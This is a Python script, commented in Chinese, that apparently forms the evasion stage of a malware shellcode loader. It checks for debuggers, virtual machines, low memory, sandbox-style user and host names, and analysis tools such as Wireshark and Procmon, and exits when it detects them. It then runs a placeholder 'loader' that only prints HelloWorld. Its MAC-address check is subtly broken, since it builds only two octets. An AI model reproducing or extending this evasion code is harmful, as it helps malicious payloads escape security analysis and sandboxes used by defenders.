import os
import sys
import time
import platform
import uuid
import psutil
import socket
import getpass
import subprocess

def is_debugging():
    return sys.gettrace() is not None

def is_virtual_machine():
    mac = ':'.join(['{:02x}'.format((uuid.getnode() >> ele) & 0xff)
                    for ele in range(0, 2*6, 8)][::-1])
    suspicious_macs = ['00:05:69', '00:0C:29', '00:1C:14', '00:50:56']  # VMware/VirtualBox MAC
    for vm_mac in suspicious_macs:
        if mac.startswith(vm_mac.lower()):
            return True

    try:
        manufacturer = subprocess.check_output('wmic computersystem get manufacturer', shell=True).decode().lower()
        if 'vmware' in manufacturer or 'virtual' in manufacturer:
            return True
    except:
        pass
    return False

def is_low_memory():
    mem = psutil.virtual_memory()
    return mem.total < 2 * 1024 ** 3  # 小于2GB认为是沙箱

def is_sandbox_user():
    username = getpass.getuser().lower()
    hostname = socket.gethostname().lower()
    keywords = ['sandbox', 'virus', 'malware', 'test', 'lab', 'win7']
    return any(k in username or k in hostname for k in keywords)

def has_suspicious_processes():
    suspicious = ['vboxservice', 'wireshark', 'procmon', 'fiddler']
    for proc in psutil.process_iter(['name']):
        try:
            if proc.info['name'] and any(s in proc.info['name'].lower() for s in suspicious):
                return True
        except (psutil.NoSuchProcess, psutil.AccessDenied):
            continue
    return False

def anti_sandbox_checks():
    start_time = time.time()

    if is_debugging():
        print("[!] 检测到调试器，退出")
        sys.exit(1)

    if is_virtual_machine():
        print("[!] 检测到虚拟机环境，退出")
        sys.exit(1)

    if is_low_memory():
        print("[!] 内存过低，可能为沙箱，退出")
        sys.exit(1)

    if is_sandbox_user():
        print("[!] 用户名或主机名异常，退出")
        sys.exit(1)

    if has_suspicious_processes():
        print("[!] 检测到可疑进程，退出")
        sys.exit(1)

    time.sleep(1)  # 避免太快执行
    if time.time() - start_time < 1:
        print("[!] 启动过快，可能为沙箱环境，退出")
        sys.exit(1)

# -----------------------------
# 主程序开始
# -----------------------------
anti_sandbox_checks()


print("[*] 执行 aes_loader_aes_shellcode_loader...")
a="print('HelloWorld')"
exec(a)
